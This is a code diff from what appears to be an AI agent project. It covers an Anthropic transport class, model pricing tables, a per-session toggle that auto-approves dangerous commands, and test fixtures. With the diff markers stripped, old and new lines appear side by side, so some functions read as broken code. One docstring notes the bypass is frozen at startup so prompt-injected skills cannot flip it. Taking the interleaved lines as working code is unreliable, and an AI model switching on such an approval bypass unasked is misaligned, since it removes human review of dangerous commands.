:mod:`agent.anthropic_format`.
"""
import json
from typing import Any, Dict, List, Optional
from agent.anthropic_format import (
build_anthropic_kwargs,
convert_messages_to_anthropic,
convert_tools_to_anthropic,
_to_plain_data,
)
from agent.transports.base import ProviderTransport
from agent.transports.types import NormalizedResponse
from agent.transports.types import NormalizedResponse, ToolCall
class AnthropicTransport(ProviderTransport):
"""Transport for api_mode='anthropic_messages'.
Wraps the existing functions in anthropic_adapter.py behind the
ProviderTransport ABC. Each method delegates no logic is duplicated.
Uses core functions directly from :mod:`agent.anthropic_format` no
plugin registry lookups needed. This means core tests, bedrock tests,
and any other consumer of the anthropic wire format work without the
anthropic plugin being registered.
"""
_STOP_REASON_MAP = {
"end_turn": "stop",
"tool_use": "tool_calls",
"max_tokens": "length",
"stop_sequence": "stop",
"refusal": "content_filter",
"model_context_window_exceeded": "length",
}
@property
def api_mode(self) -> str:
return "anthropic_messages"
def convert_messages(self, messages: List[Dict[str, Any]], **kwargs) -> Any:
"""Convert OpenAI messages to Anthropic (system, messages) tuple.
kwargs:
base_url: Optional[str] affects thinking signature handling.
"""
from agent.anthropic_adapter import convert_messages_to_anthropic
"""Convert OpenAI messages to Anthropic (system, messages) tuple."""
base_url = kwargs.get("base_url")
return convert_messages_to_anthropic(messages, base_url=base_url)
return convert_messages_to_anthropic(messages, base_url=base_url,
model=kwargs.get("model"))
def convert_tools(self, tools: List[Dict[str, Any]]) -> Any:
"""Convert OpenAI tool schemas to Anthropic input_schema format."""
from agent.anthropic_adapter import convert_tools_to_anthropic
return convert_tools_to_anthropic(tools)
def build_kwargs(
@@ -45,23 +57,7 @@ class AnthropicTransport(ProviderTransport):
tools: Optional[List[Dict[str, Any]]] = None,
**params,
) -> Dict[str, Any]:
"""Build Anthropic messages.create() kwargs.
Calls convert_messages and convert_tools internally.
params (all optional):
max_tokens: int
reasoning_config: dict | None
tool_choice: str | None
is_oauth: bool
preserve_dots: bool
context_length: int | None
base_url: str | None
fast_mode: bool
drop_context_1m_beta: bool
"""
from agent.anthropic_adapter import build_anthropic_kwargs
"""Build Anthropic messages.create() kwargs."""
return build_anthropic_kwargs(
model=model,
messages=messages,
@@ -78,15 +74,7 @@ class AnthropicTransport(ProviderTransport):
)
def normalize_response(self, response: Any, **kwargs) -> NormalizedResponse:
"""Normalize Anthropic response to NormalizedResponse.
Parses content blocks (text, thinking, tool_use), maps stop_reason
to OpenAI finish_reason, and collects reasoning_details in provider_data.
"""
import json
from agent.anthropic_adapter import _to_plain_data
from agent.transports.types import ToolCall
"""Normalize Anthropic response to NormalizedResponse."""
strip_tool_prefix = kwargs.get("strip_tool_prefix", False)
_MCP_PREFIX = "mcp_"
@@ -107,12 +95,6 @@ class AnthropicTransport(ProviderTransport):
name = block.name
if strip_tool_prefix and name.startswith(_MCP_PREFIX):
stripped = name[len(_MCP_PREFIX):]
# Only strip the mcp_ prefix for OAuth-injected tools
# (where Hermes adds the prefix when sending to Anthropic
# and must remove it on the way back). Native MCP server
# tools (from mcp_servers: in config.yaml) are registered
# in the tool registry under their FULL mcp_<server>_<tool>
# name and must NOT be stripped. GH-25255.
from tools.registry import registry as _tool_registry
if (_tool_registry.get_entry(stripped)
and not _tool_registry.get_entry(name)):
@@ -141,13 +123,7 @@ class AnthropicTransport(ProviderTransport):
)
def validate_response(self, response: Any) -> bool:
"""Check Anthropic response structure is valid.
An empty content list is legitimate when ``stop_reason == "end_turn"``
the model's canonical way of signalling "nothing more to add" after
a tool turn that already delivered the user-facing text. Treating it
as invalid falsely retries a completed response.
"""
"""Check Anthropic response structure is valid."""
if response is None:
return False
content_blocks = getattr(response, "content", None)
@@ -168,16 +144,6 @@ class AnthropicTransport(ProviderTransport):
return {"cached_tokens": cached, "creation_tokens": written}
return None
# Promote the adapter's canonical mapping to module level so it's shared
_STOP_REASON_MAP = {
"end_turn": "stop",
"tool_use": "tool_calls",
"max_tokens": "length",
"stop_sequence": "stop",
"refusal": "content_filter",
"model_context_window_exceeded": "length",
}
def map_finish_reason(self, raw_reason: str) -> str:
"""Map Anthropic stop_reason to OpenAI finish_reason."""
return self._STOP_REASON_MAP.get(raw_reason, "stop")
+68 -152
View File
@@ -115,6 +115,8 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
# Opus 4.5/4.6/4.7 share $5/$25 pricing (new tokenizer, up to 35% more
# tokens for the same text).
# Source: https://platform.claude.com/docs/en/about-claude/pricing
# NOTE: The anthropic plugin also registers these — plugin takes priority
# at runtime, but these static entries ensure costs work without the plugin.
(
"anthropic",
"claude-opus-4-7",
@@ -139,7 +141,6 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# ── Anthropic Claude 4.6 ─────────────────────────────────────────────
(
"anthropic",
"claude-opus-4-6",
@@ -188,7 +189,6 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# ── Anthropic Claude 4.5 ─────────────────────────────────────────────
(
"anthropic",
"claude-opus-4-5",
@@ -225,7 +225,6 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# ── Anthropic Claude 4 / 4.1 ─────────────────────────────────────────
(
"anthropic",
"claude-opus-4-20250514",
@@ -250,7 +249,56 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# OpenAI
# ── Anthropic older models (pre-4.5 generation) ────────────────────────
(
"anthropic",
"claude-3-5-sonnet-20241022",
): PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-5-haiku-20241022",
): PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("4.00"),
cache_read_cost_per_million=Decimal("0.08"),
cache_write_cost_per_million=Decimal("1.00"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-opus-20240229",
): PricingEntry(
input_cost_per_million=Decimal("15.00"),
output_cost_per_million=Decimal("75.00"),
cache_read_cost_per_million=Decimal("1.50"),
cache_write_cost_per_million=Decimal("18.75"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-haiku-20240307",
): PricingEntry(
input_cost_per_million=Decimal("0.25"),
output_cost_per_million=Decimal("1.25"),
cache_read_cost_per_million=Decimal("0.03"),
cache_write_cost_per_million=Decimal("0.30"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# ── OpenAI ────────────────────────────────────────────────────────────
(
"openai",
"gpt-4o",
@@ -328,55 +376,6 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://openai.com/api/pricing/",
pricing_version="openai-pricing-2026-03-16",
),
# ── Anthropic older models (pre-4.5 generation) ────────────────────────
(
"anthropic",
"claude-3-5-sonnet-20241022",
): PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
cache_read_cost_per_million=Decimal("0.30"),
cache_write_cost_per_million=Decimal("3.75"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-5-haiku-20241022",
): PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("4.00"),
cache_read_cost_per_million=Decimal("0.08"),
cache_write_cost_per_million=Decimal("1.00"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-opus-20240229",
): PricingEntry(
input_cost_per_million=Decimal("15.00"),
output_cost_per_million=Decimal("75.00"),
cache_read_cost_per_million=Decimal("1.50"),
cache_write_cost_per_million=Decimal("18.75"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
(
"anthropic",
"claude-3-haiku-20240307",
): PricingEntry(
input_cost_per_million=Decimal("0.25"),
output_cost_per_million=Decimal("1.25"),
cache_read_cost_per_million=Decimal("0.03"),
cache_write_cost_per_million=Decimal("0.30"),
source="official_docs_snapshot",
source_url="https://platform.claude.com/docs/en/about-claude/pricing",
pricing_version="anthropic-pricing-2026-05",
),
# DeepSeek
(
"deepseek",
@@ -440,80 +439,6 @@ _OFFICIAL_DOCS_PRICING: Dict[tuple[str, str], PricingEntry] = {
source_url="https://ai.google.dev/pricing",
pricing_version="google-pricing-2026-03-16",
),
# AWS Bedrock — pricing per the Bedrock pricing page.
# Bedrock charges the same per-token rates as the model provider but
# through AWS billing. These are the on-demand prices (no commitment).
# Source: https://aws.amazon.com/bedrock/pricing/
(
"bedrock",
"anthropic.claude-opus-4-6",
): PricingEntry(
input_cost_per_million=Decimal("15.00"),
output_cost_per_million=Decimal("75.00"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"anthropic.claude-sonnet-4-6",
): PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"anthropic.claude-sonnet-4-5",
): PricingEntry(
input_cost_per_million=Decimal("3.00"),
output_cost_per_million=Decimal("15.00"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"anthropic.claude-haiku-4-5",
): PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("4.00"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"amazon.nova-pro",
): PricingEntry(
input_cost_per_million=Decimal("0.80"),
output_cost_per_million=Decimal("3.20"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"amazon.nova-lite",
): PricingEntry(
input_cost_per_million=Decimal("0.06"),
output_cost_per_million=Decimal("0.24"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
(
"bedrock",
"amazon.nova-micro",
): PricingEntry(
input_cost_per_million=Decimal("0.035"),
output_cost_per_million=Decimal("0.14"),
source="official_docs_snapshot",
source_url="https://aws.amazon.com/bedrock/pricing/",
pricing_version="bedrock-pricing-2026-04",
),
# MiniMax
(
"minimax",
@@ -581,36 +506,27 @@ def resolve_billing_route(
return BillingRoute(provider=provider_name or "unknown", model=model.split("/")[-1] if model else "", base_url=base_url or "", billing_mode="unknown")
def _normalize_anthropic_model_name(model: str) -> str:
"""Normalize Anthropic model name variants to canonical form.
Handles:
- Dot notation: claude-opus-4.7 claude-opus-4-7
- Short aliases: claude-opus-4.7 claude-opus-4-7
- Strips anthropic/ prefix if present
"""
name = model.lower().strip()
if name.startswith("anthropic/"):
name = name[len("anthropic/"):]
# Normalize dots to dashes in version numbers (e.g. 4.7 → 4-7, 4.6 → 4-6)
# But preserve the rest of the name structure
name = re.sub(r"(\d+)\.(\d+)", r"\1-\2", name)
return name
def _lookup_official_docs_pricing(route: BillingRoute) -> Optional[PricingEntry]:
model = route.model.lower()
# Direct lookup first
# ── Plugin-registered pricing entries take priority ──
from agent.plugin_registries import registries as _preg
plugin_entry = _preg.get_pricing_entry(route.provider, model)
if plugin_entry:
return plugin_entry
# Try provider-specific name normalization via registry
_norm = _preg.get_provider_service(route.provider, "normalize_model_name")
if _norm is not None:
normalized = _norm(model)
if normalized != model:
plugin_entry = _preg.get_pricing_entry(route.provider, normalized)
if plugin_entry:
return plugin_entry
# Fall back to static dict
entry = _OFFICIAL_DOCS_PRICING.get((route.provider, model))
if entry:
return entry
# Try normalized name for Anthropic (handles dot-notation like opus-4.7)
if route.provider == "anthropic":
normalized = _normalize_anthropic_model_name(model)
if normalized != model:
entry = _OFFICIAL_DOCS_PRICING.get((route.provider, normalized))
if entry:
return entry
return None
+185 -25
View File
@@ -168,7 +168,7 @@ from hermes_cli.browser_connect import (
try_launch_chrome_debug,
)
from hermes_cli.env_loader import load_hermes_dotenv
from utils import base_url_host_matches, is_truthy_value
from utils import base_url_host_matches
_hermes_home = get_hermes_home()
_project_env = Path(__file__).parent / '.env'
@@ -3747,7 +3747,7 @@ class HermesCLI:
percent_label = f"{percent}%" if percent is not None else "--"
duration_label = snapshot["duration"]
yolo_active = bool(os.getenv("HERMES_YOLO_MODE"))
yolo_active = self._is_session_yolo_active()
if width < 52:
text = f"{snapshot['model_short']} · {duration_label}"
if yolo_active:
@@ -3808,7 +3808,7 @@ class HermesCLI:
# line and produce duplicated status bar rows over long sessions.
width = self._get_tui_terminal_width()
duration_label = snapshot["duration"]
yolo_active = bool(os.getenv("HERMES_YOLO_MODE"))
yolo_active = self._is_session_yolo_active()
if width < 52:
frags = [
@@ -6234,8 +6234,10 @@ class HermesCLI:
# ``self.api_key`` may be a callable (Azure Foundry Entra ID bearer
# provider). Never invoke it; just identify the auth surface.
from agent.azure_identity_adapter import is_token_provider
if is_token_provider(self.api_key):
from agent.plugin_registries import registries
_azure_ns = registries.get_provider_namespace("azure")
is_token_provider = _azure_ns.get("is_token_provider")
if is_token_provider and is_token_provider(self.api_key):
api_key_display = "Microsoft Entra ID"
elif isinstance(self.api_key, str) and len(self.api_key) > 12:
api_key_display = f"{self.api_key[:8]}...{self.api_key[-4:]}"
@@ -6907,6 +6909,7 @@ class HermesCLI:
pass
# Switch to the new session
self._transfer_session_yolo(self.session_id, new_session_id)
self.session_id = new_session_id
self.session_start = now
self._pending_title = None
@@ -7586,8 +7589,19 @@ class HermesCLI:
parts = cmd_original.split(None, 1) # split off '/model'
raw_args = parts[1].strip() if len(parts) > 1 else ""
# Parse --provider and --global flags
model_input, explicit_provider, persist_global = parse_model_flags(raw_args)
# Parse --provider, --global, and --refresh flags
model_input, explicit_provider, persist_global, force_refresh = parse_model_flags(raw_args)
# --refresh: wipe the on-disk picker cache before building the
# provider list. Forces a live re-fetch of every authed provider's
# /v1/models endpoint on this open.
if force_refresh:
try:
from hermes_cli.models import clear_provider_models_cache
clear_provider_models_cache()
_cprint(" Cleared model picker cache. Refreshing...")
except Exception:
pass
# Single inventory context — replaces the inline config-slice the
# dashboard / TUI used to duplicate. Overlay live session state
@@ -7626,6 +7640,7 @@ class HermesCLI:
_cprint("")
_cprint(" /model <name> switch model")
_cprint(" /model --provider <slug> switch provider")
_cprint(" /model --refresh re-fetch live model lists")
return
self._open_model_picker(
@@ -9607,20 +9622,92 @@ class HermesCLI:
}
_cprint(labels.get(self.tool_progress_mode, ""))
def _toggle_yolo(self):
"""Toggle YOLO mode — skip all dangerous command approval prompts."""
import os
from hermes_cli.colors import Colors as _Colors
def _transfer_session_yolo(self, old_session_id: str, new_session_id: str) -> None:
"""Move YOLO bypass state from an old session key to a new one.
current = is_truthy_value(os.environ.get("HERMES_YOLO_MODE"))
if current:
os.environ.pop("HERMES_YOLO_MODE", None)
Called whenever ``self.session_id`` is reassigned mid-run ``/branch``
forks into a new session, and auto-compression rotates the agent's
session id into a fresh continuation session. Without this transfer
the user's ``/yolo ON`` toggle would silently revert on the very next
turn (the same UX failure mode that motivated this entire fix), since
``_session_yolo`` is keyed by session id.
Mirrors ``tui_gateway/server.py`` (~line 1297-1305) which performs the
same transfer for the TUI's session-rename path. No-op when YOLO
wasn't enabled or when the ids match.
"""
if not old_session_id or not new_session_id or old_session_id == new_session_id:
return
try:
from tools.approval import (
disable_session_yolo,
enable_session_yolo,
is_session_yolo_enabled,
)
except Exception:
return
if is_session_yolo_enabled(old_session_id):
enable_session_yolo(new_session_id)
disable_session_yolo(old_session_id)
def _is_session_yolo_active(self) -> bool:
"""Whether YOLO bypass is currently enabled for this CLI session.
Reads from ``tools.approval._session_yolo`` (the same set that
``enable_session_yolo`` / ``disable_session_yolo`` write to) so the
status bar reflects the actual bypass state instead of a stale env
var. Also honors the process-start ``--yolo`` flag, which freezes
``HERMES_YOLO_MODE`` into ``_YOLO_MODE_FROZEN`` before tool imports
happen.
"""
try:
from tools.approval import (
_YOLO_MODE_FROZEN,
is_session_yolo_enabled,
)
except Exception:
return False
if _YOLO_MODE_FROZEN:
return True
# Use ``getattr`` so test fixtures that build a CLI via ``__new__``
# (skipping ``__init__``) don't trip an AttributeError here; the
# status-bar builders swallow exceptions silently but lose every
# field after the failure.
session_key = getattr(self, "session_id", None) or "default"
return is_session_yolo_enabled(session_key)
def _toggle_yolo(self):
"""Toggle YOLO mode — skip all dangerous command approval prompts.
Per-session toggle that mirrors the gateway and TUI ``/yolo`` handlers
(see ``gateway/run.py:_handle_yolo_command`` and
``tui_gateway/server.py`` key=="yolo"). We deliberately do NOT mutate
``HERMES_YOLO_MODE`` here that env var is read once at module import
time into ``tools.approval._YOLO_MODE_FROZEN`` to keep prompt-injected
skills from flipping the bypass mid-session, so setting it after CLI
startup is a silent no-op. Routing through ``enable_session_yolo`` /
``disable_session_yolo`` gives the same auditable, per-session bypass
the other surfaces have. ``run_conversation`` binds
``self.session_id`` as the active approval session key via
``set_current_session_key`` so the bypass takes effect on the very
next dangerous command in this run.
"""
from hermes_cli.colors import Colors as _Colors
from tools.approval import (
disable_session_yolo,
enable_session_yolo,
is_session_yolo_enabled,
)
session_key = self.session_id or "default"
if is_session_yolo_enabled(session_key):
disable_session_yolo(session_key)
_cprint(
f" ⚠ YOLO mode {_Colors.BOLD}{_Colors.RED}OFF{_Colors.RESET}"
" — dangerous commands will require approval."
)
else:
os.environ["HERMES_YOLO_MODE"] = "1"
enable_session_yolo(session_key)
_cprint(
f" ⚡ YOLO mode {_Colors.BOLD}{_Colors.GREEN}ON{_Colors.RESET}"
" — all commands auto-approved. Use with caution."
@@ -10881,7 +10968,14 @@ class HermesCLI:
return
self._voice_tts_done.clear()
try:
from tools.tts_tool import text_to_speech_tool
from agent.plugin_registries import registries
_tts_provider = registries.get_tool_provider("tts")
if _tts_provider is None:
raise ImportError("tts tool provider not registered")
text_to_speech_tool = _tts_provider.tool_functions.get("text_to_speech_tool")
check_tts_requirements = _tts_provider.check_fn
if text_to_speech_tool is None:
raise ImportError("text_to_speech_tool not found in tts provider")
from tools.voice_mode import play_audio_file
# Strip markdown and non-speech content for cleaner TTS
@@ -11064,8 +11158,10 @@ class HermesCLI:
status = "enabled" if self._voice_tts else "disabled"
if self._voice_tts:
from tools.tts_tool import check_tts_requirements
if not check_tts_requirements():
from agent.plugin_registries import registries
_tts_provider = registries.get_tool_provider("tts")
check_tts_requirements = _tts_provider.check_fn if _tts_provider else None
if check_tts_requirements and not check_tts_requirements():
_cprint(f"{_DIM}Warning: No TTS provider available. Install edge-tts or set API keys.{_RST}")
_cprint(f"{_ACCENT}Voice TTS {status}.{_RST}")
@@ -11687,13 +11783,17 @@ class HermesCLI:
if self._voice_tts:
try:
from tools.tts_tool import (
_load_tts_config as _load_tts_cfg,
_get_provider as _get_prov,
_import_elevenlabs,
_import_sounddevice,
stream_tts_to_speaker,
)
from agent.plugin_registries import registries
_tts_provider = registries.get_tool_provider("tts")
if _tts_provider is None:
raise ImportError("tts tool provider not registered")
_load_tts_cfg = _tts_provider.config_functions.get("_load_tts_config")
_get_prov = _tts_provider.config_functions.get("_get_provider")
_import_elevenlabs = _tts_provider.config_functions.get("_import_elevenlabs")
_import_sounddevice = _tts_provider.config_functions.get("_import_sounddevice")
stream_tts_to_speaker = _tts_provider.tool_functions.get("stream_tts_to_speaker")
if not all([_load_tts_cfg, _get_prov, stream_tts_to_speaker]):
raise ImportError("streaming TTS functions not found in tts provider")
_tts_cfg = _load_tts_cfg()
if _get_prov(_tts_cfg) == "elevenlabs":
# Verify both ElevenLabs SDK and audio output are available
@@ -11757,6 +11857,23 @@ class HermesCLI:
set_secret_capture_callback(self._secret_capture_callback)
except Exception:
pass
# Bind this turn's approval session key into the contextvar so
# ``tools.approval.is_current_session_yolo_enabled()`` resolves
# against the same key that ``/yolo`` toggles under (see
# ``_toggle_yolo`` → ``enable_session_yolo(self.session_id)``).
# Mirrors ``tui_gateway/server.py`` and ``gateway/run.py`` which
# bind the same contextvar before invoking the agent.
try:
from tools.approval import (
reset_current_session_key,
set_current_session_key,
)
_approval_session_token = set_current_session_key(
self.session_id or "default"
)
except Exception:
reset_current_session_key = None # type: ignore[assignment]
_approval_session_token = None
agent_message = _voice_prefix + message if _voice_prefix else message
# Prepend pending model switch note so the model knows about the switch
_msn = getattr(self, '_pending_model_switch_note', None)
@@ -11798,6 +11915,15 @@ class HermesCLI:
set_secret_capture_callback(None)
except Exception:
pass
# Release the per-turn approval session key. ``_session_yolo``
# state itself is preserved across turns (so /yolo persists
# for the whole CLI run); we just unbind the contextvar so a
# reused thread doesn't see stale identity on its next run.
if _approval_session_token is not None and reset_current_session_key is not None:
try:
reset_current_session_key(_approval_session_token)
except Exception:
pass
# Start agent in background thread (daemon so it cannot keep the
# process alive when the user closes the terminal tab — SIGHUP
@@ -11928,6 +12054,7 @@ class HermesCLI:
and getattr(self.agent, "session_id", None)
and self.agent.session_id != self.session_id
):
self._transfer_session_yolo(self.session_id, self.agent.session_id)
self.session_id = self.agent.session_id
self._pending_title = None
@@ -14968,6 +15095,39 @@ def main(
time.sleep(_grace)
except Exception:
pass # never block signal handling
# Kanban worker exit path (#28181): SIGTERM hits a dispatcher-spawned
# worker that's likely in a non-daemon thread waiting on a child
# subprocess in _wait_for_process. Raising KeyboardInterrupt only
# unwinds the main thread; the worker thread keeps running, the
# process gets reparented to init, and the dispatcher's _pid_alive
# check returns True forever — task stuck in 'running' indefinitely.
# Skip the controlled-unwind dance and call os._exit(0) so the kernel
# reclaims the PID immediately and detect_crashed_workers can reclaim
# the stale claim on the next tick. Flush logging + stdout/stderr
# first so the final debug trace isn't lost; SIGALRM deadman guards
# the flush against any rare blocking-I/O case (the reporter measured
# flush in <1ms; the alarm is a failsafe, not the common path).
if os.environ.get("HERMES_KANBAN_TASK"):
try:
import signal as _sig_mod
if hasattr(_sig_mod, "SIGALRM"):
# Cancel any pre-existing alarm to avoid colliding with
# caller-installed timers.
_sig_mod.signal(_sig_mod.SIGALRM, lambda *_: os._exit(0))
_sig_mod.alarm(2)
except Exception:
pass
try:
import logging as _lg
_lg.shutdown()
except Exception:
pass
for _stream in (sys.stdout, sys.stderr):
try:
_stream.flush()
except Exception:
pass
os._exit(0)
raise KeyboardInterrupt()
try:
import signal as _signal
+297 -1
View File
@@ -29,10 +29,37 @@ from unittest.mock import patch
import pytest
# Ensure project root is importable
PROJECT_ROOT = Path(__file__).parent.parent
PROJECT_ROOT = Path(__file__).parent
if str(PROJECT_ROOT) not in sys.path:
sys.path.insert(0, str(PROJECT_ROOT))
# ── Plugin directory sys.path shadow fix ────────────────────────────────────
# pytest adds ``plugins/model-providers/`` to sys.path because
# ``plugins/model-providers/anthropic/__init__.py`` (a provider profile) exists.
# This makes ``import anthropic`` shadow the real SDK package with the plugin
# directory. We fix this via pytest_load_initial_conftests (runs before pytest
# adds package roots) AND inline here as belt-and-suspenders.
_bad_path = str(PROJECT_ROOT / "plugins" / "model-providers")
while _bad_path in sys.path:
sys.path.remove(_bad_path)
if "anthropic" in sys.modules and not hasattr(sys.modules["anthropic"], "Anthropic"):
del sys.modules["anthropic"]
def pytest_load_initial_conftests(early_config, parser, args):
"""Remove plugin dirs from sys.path before pytest adds package roots.
This must run as early as possible before hermes_agent_anthropic is
imported to prevent ``plugins/model-providers/anthropic/__init__.py``
(a provider profile) from shadowing the real ``anthropic`` SDK.
"""
_bad = str(PROJECT_ROOT / "plugins" / "model-providers")
while _bad in sys.path:
sys.path.remove(_bad)
if "anthropic" in sys.modules and not hasattr(sys.modules["anthropic"], "Anthropic"):
del sys.modules["anthropic"]
# ── Per-file process isolation ──────────────────────────────────────────────
# Tests run via ``scripts/run_tests_parallel.py``, which spawns a fresh
@@ -533,6 +560,43 @@ def pytest_configure(config): # noqa: D401 — pytest hook
)
def pytest_collection_finish(session) -> None: # noqa: D401 — pytest hook
"""Warn when pytest is invoked directly instead of via the parallel runner.
The canonical runner (scripts/run_tests_parallel.py) spawns one
pytest subprocess per file, giving each a fresh Python interpreter.
This prevents cross-file module-level state leakage (especially the
plugin-registry singleton) from causing ordering-dependent failures.
Running ``pytest tests/`` directly collapses all files into one
process and WILL see spurious failures that don't exist in CI.
The runner sets HERMES_PARALLEL_RUNNER=1 in each subprocess so we
can detect the difference here.
"""
if os.environ.get("HERMES_PARALLEL_RUNNER"):
return # launched by the runner — all good
n = len(session.items)
if n < 50:
return # single-file or tiny run — fine to use bare pytest
_YELLOW = "\033[33m"
_BOLD = "\033[1m"
_RESET = "\033[0m"
print(
f"\n{_BOLD}{_YELLOW}⚠ hermes-agent test suite warning{_RESET}\n"
f" You're running {n} tests directly under pytest.\n"
f" Cross-file module-state leakage (esp. the plugin registry\n"
f" singleton) can cause ordering-dependent failures that don't\n"
f" exist in CI.\n\n"
f" Use the canonical runner instead:\n"
f" {_BOLD}python scripts/run_tests_parallel.py{_RESET}\n\n"
f" To suppress this warning (e.g. for a focused multi-file run):\n"
f" {_BOLD}HERMES_PARALLEL_RUNNER=1 pytest ...{_RESET}\n",
file=sys.stderr,
)
@pytest.fixture(autouse=True)
def _live_system_guard(request, monkeypatch):
"""Block real os.kill / systemctl / gateway-pid scans during tests.
@@ -838,3 +902,235 @@ def _live_system_guard(request, monkeypatch):
pass
yield
# ── Anthropic registry seed (shared across all test subdirs) ────────────────
# Defined in root conftest so tests/hermes_cli, tests/run_agent,
# tests/tools, tests/gateway all get it. tests/agent has its own copy too.
from contextlib import contextmanager
from unittest.mock import MagicMock
__all__ = ["mock_anthropic_provider"]
def _mock_endpoint_speaks_anthropic_messages(base_url: str) -> bool:
"""Functional mock — detects Anthropic-wire endpoints by URL pattern.
Reproduces the real plugin's logic without importing it.
"""
if not base_url:
return False
normalized = base_url.lower().rstrip("/")
if normalized.endswith("/anthropic"):
return True
# api.anthropic.com
if "api.anthropic.com" in normalized:
return True
# kimi coding plan
if "api.kimi.com" in normalized and "/coding" in normalized:
return True
return False
def _mock_is_anthropic_compat_endpoint(provider: str, base_url: str) -> bool:
"""Functional mock — detects Anthropic-compat endpoints.
Reproduces the real plugin's logic: named compat providers OR /anthropic URL suffix.
"""
_COMPAT_PROVIDERS = frozenset({"minimax", "minimax-oauth", "minimax-cn"})
if provider in _COMPAT_PROVIDERS:
return True
url_lower = (base_url or "").lower()
return "/anthropic" in url_lower
def _mock_convert_openai_images_to_anthropic(messages: list) -> list:
"""Functional mock — converts OpenAI image_url blocks to Anthropic image blocks."""
converted = []
for msg in messages:
content = msg.get("content")
if not isinstance(content, list):
converted.append(msg)
continue
new_content = []
changed = False
for block in content:
if block.get("type") == "image_url":
image_url_val = (block.get("image_url") or {}).get("url", "")
if image_url_val.startswith("data:"):
header, _, b64data = image_url_val.partition(",")
media_type = "image/png"
if ":" in header and ";" in header:
media_type = header.split(":", 1)[1].split(";", 1)[0]
new_content.append({
"type": "image",
"source": {
"type": "base64",
"media_type": media_type,
"data": b64data,
},
})
else:
new_content.append({
"type": "image",
"source": {
"type": "url",
"url": image_url_val,
},
})
changed = True
else:
new_content.append(block)
converted.append({**msg, "content": new_content} if changed else msg)
return converted
def _mock_maybe_wrap_anthropic(client_obj, model, api_key, base_url, api_mode=None):
"""Functional mock for maybe_wrap_anthropic — wraps when endpoint is Anthropic-wire.
Reproduces the real plugin's wrapping logic without importing it.
Uses the real AnthropicAuxiliaryClient from core (no SDK dependency).
"""
# Already wrapped — don't double-wrap
from agent.anthropic_aux import (AnthropicAuxiliaryClient,
AsyncAnthropicAuxiliaryClient)
if isinstance(client_obj, (AnthropicAuxiliaryClient, AsyncAnthropicAuxiliaryClient)):
return client_obj
# Check for other specialized adapters we should never re-dispatch
try:
from agent.auxiliary_client import CodexAuxiliaryClient
if isinstance(client_obj, CodexAuxiliaryClient):
return client_obj
except ImportError:
pass
# Explicit non-anthropic api_mode wins over URL heuristics
if api_mode and api_mode != "anthropic_messages":
return client_obj
should_wrap = (
api_mode == "anthropic_messages"
or _mock_endpoint_speaks_anthropic_messages(base_url)
)
if not should_wrap:
return client_obj
# Use the registry's build_anthropic_client to construct a real(ish) client
from agent.plugin_registries import registries
build_fn = registries.get_provider_service("anthropic", "build_anthropic_client")
if build_fn is None:
return client_obj
try:
real_client = build_fn(api_key, base_url)
except Exception:
return client_obj
return AnthropicAuxiliaryClient(
real_client, model, api_key, base_url, is_oauth=False,
)
def _make_base_anthropic_namespace() -> dict:
"""Build a minimal anthropic service namespace with safe mock stubs.
Wire-format code (build_anthropic_kwargs, convert_messages_to_anthropic,
AnthropicAuxiliaryClient, etc.) has moved to core modules and is no
